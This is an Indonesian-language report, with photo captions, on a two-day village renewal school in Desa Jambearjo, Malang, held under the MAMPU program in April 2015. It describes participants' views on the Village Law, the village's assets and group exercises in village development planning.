Desa Jambearjo sendiri merupakan satu dari tiga desa di Kabupaten Malang yang menjadi desa percontohan melalui program Maju Perempuan untuk Penanggulangan Kemiskinan (MAMPU), kerjasama Infest Yogyakarta, Pemerintah Australia dan Pemerintah Kabupaten Malang. Selain Desa Jambearjo, kegiatan yang sama juga dilakukan di Desa Kucur, Kecamatan Dau dan Desa Tunjungtirto, Kecamatan Singosari.

Ketiga desa ini akan diberikan pelatihan ketrampilan pengelolaan informasi desa, penataan kelembagaan, pemetaan apresiatif desa, peningkatan pelayanan dan perencanaan desa. Beberapa materi tersebut terangkum dalam Sekolah Pembaharuan Desa. Harapannya, ketiga desa bisa menularkan kemampuan perencanaan pembangunan desa berbasis pada kewenangan dan potensi kepada desa lainnya.

Desa, Perencanaan apresiatif, Jambearjo

Menyampaikan pemahaman kondisi desa sebelum dan sesudah adanya UU Desa, (19/4).

Menurut Edi Purwanto selaku fasilitator di Kabupaten Malang menjelaskan bahwa proses sekolah pembaharuan desa dilakukan secara bertahap, dari sosialisasi UU Desa beserta peraturan turunannya seperti Peraturan Pemerintah, dan Peraturan Menteri. Kemudian, disusul dengan pemetaan apresiatif desa dengan melakukan pendataan potensi dan aset desa. Setiap kegiatan akan bermuara pada penyusunan Rencana Pembangunan Jangka Menengah Desa, Rencana Perencanaan Keuangan Desa, dan Anggaran Pendapatan dan Belanja Desa.

Pada pertemuan pertama ini, masing-masing orang diberikan ruang untuk menyampaikan pemahaman mereka tentang kondisi desa sebelum dan sesudah adanya UU Desa. Bambang Mawardi, Kepala Desa Jamberajo berpendapat bahwa sebelum adanya UU Desa, intervensi atau campur tangan pemerintah daerah dan pusat ke desa lebih besar. Sementara, keberadaan UU Desa memberikan kewenangan bagi desa dalam mengelola desa dan wilayahnya sendiri.

Hal senada juga diungkapkan oleh Khusnul selaku Ketua LPMD Jambearjo, “Perencanaan penganggaran dan pelaksaksanaan dilakukan langsung dari dan oleh desa.”

Potensi, Desa, Jambearjo,

Merumuskan gagasan tentang desa madiri berdasarkan potensi dan aset Desa Jambearjo.

Selain itu, peserta juga menyampaikan gagasan mereka tentang desa mandiri berbasiskan potensi desanya. Peserta dibagi dalam dua kelompok berdasarkan wilayah dusun, yakni kelompok Dusun Karangjambe dan Dusun Karangrejo. Kelompok Dusun Karangjambe mempunyai mimpi untuk memaksimalkan potensi kerajinan kulit dan sumber air bersih. Sementara Kelompok Dusun Karangrejo tentang wisata religi (Makam Sentono) dan kesenian lokal. Potensi Desa Jambearjo yang cukup menonjol adalah pengelolaan sumber mata air. Dalam bidang pengelolaan informasi, pemerintah desa menerbitkan majalah “Suara Mandiri” yang terbit setahun sekali.

Pada hari kedua, Senin (20/4/2015), peserta sekolah pembaharuan desa bertambah. Dari 17 orang di hari pertama menjadi 30 orang di hari kedua. Jumlah tersebut termasuk delapan mahasiswa Jurusan Ilmu Pemerintahan Universitas Brawijaya Malang.

Pada pertemuan hari kedua, para kader pembaharuan desa mensimulasikan perencanaan desa dalam empat bidang sesuai dengan kewenangan desa yakni penyelenggaraan pemerintahan, pembangunan, pembinaan kemasyarakatan, dan pemberdayaan masyarakat. Pada masing-masing bidang kemudian diturunkan menjadi program dan kegiatan yang disesuaikan dengan kewenangan desa. Tujuan dari sesi ini, setiap peserta memahami model perencanaan pembangunan desa berbasiskan pada kewenangan desa dan potensi desanya.

Menyampaikan hasil penyusunan perencanaan desa.

Menyampaikan hasil penyusunan perencanaan desa.

Peserta dibagi menjadi empat kelompok. Berbekal alat tulis dan alat bantu yang berisi rincian bidang, program dan kegiatan, masing-masing kelompok mulai menyusun perencanaan pembangunan desa. Beragam cara dilakukan untuk memilih dan memilah masing-masing bidang, program, dan kegiatan. Ada kelompok yang memahami dan memisahkan dulu pengertian program serta kegiatan. Ada pula kelompok yang langsung memasang alat bantu dan beberapa kali melakukan bongkar pasang, pindah dari satu bidang ke bidang lain, dari program satu ke program yang lain.

Tidak hanya menyusun perencanaan, masing-masing kelompok juga menyampaikan hasilnya kepada kelompok yang lain. Kendati waktu mulai larut, masing-masing kelompok tampak aktif menanggapi hasil perencanaan setiap kelompok. Sesi ini berlangsung meriah. Sesekali, tanggapan seorang peserta mampu memancing tawa peserta yang lain. [*]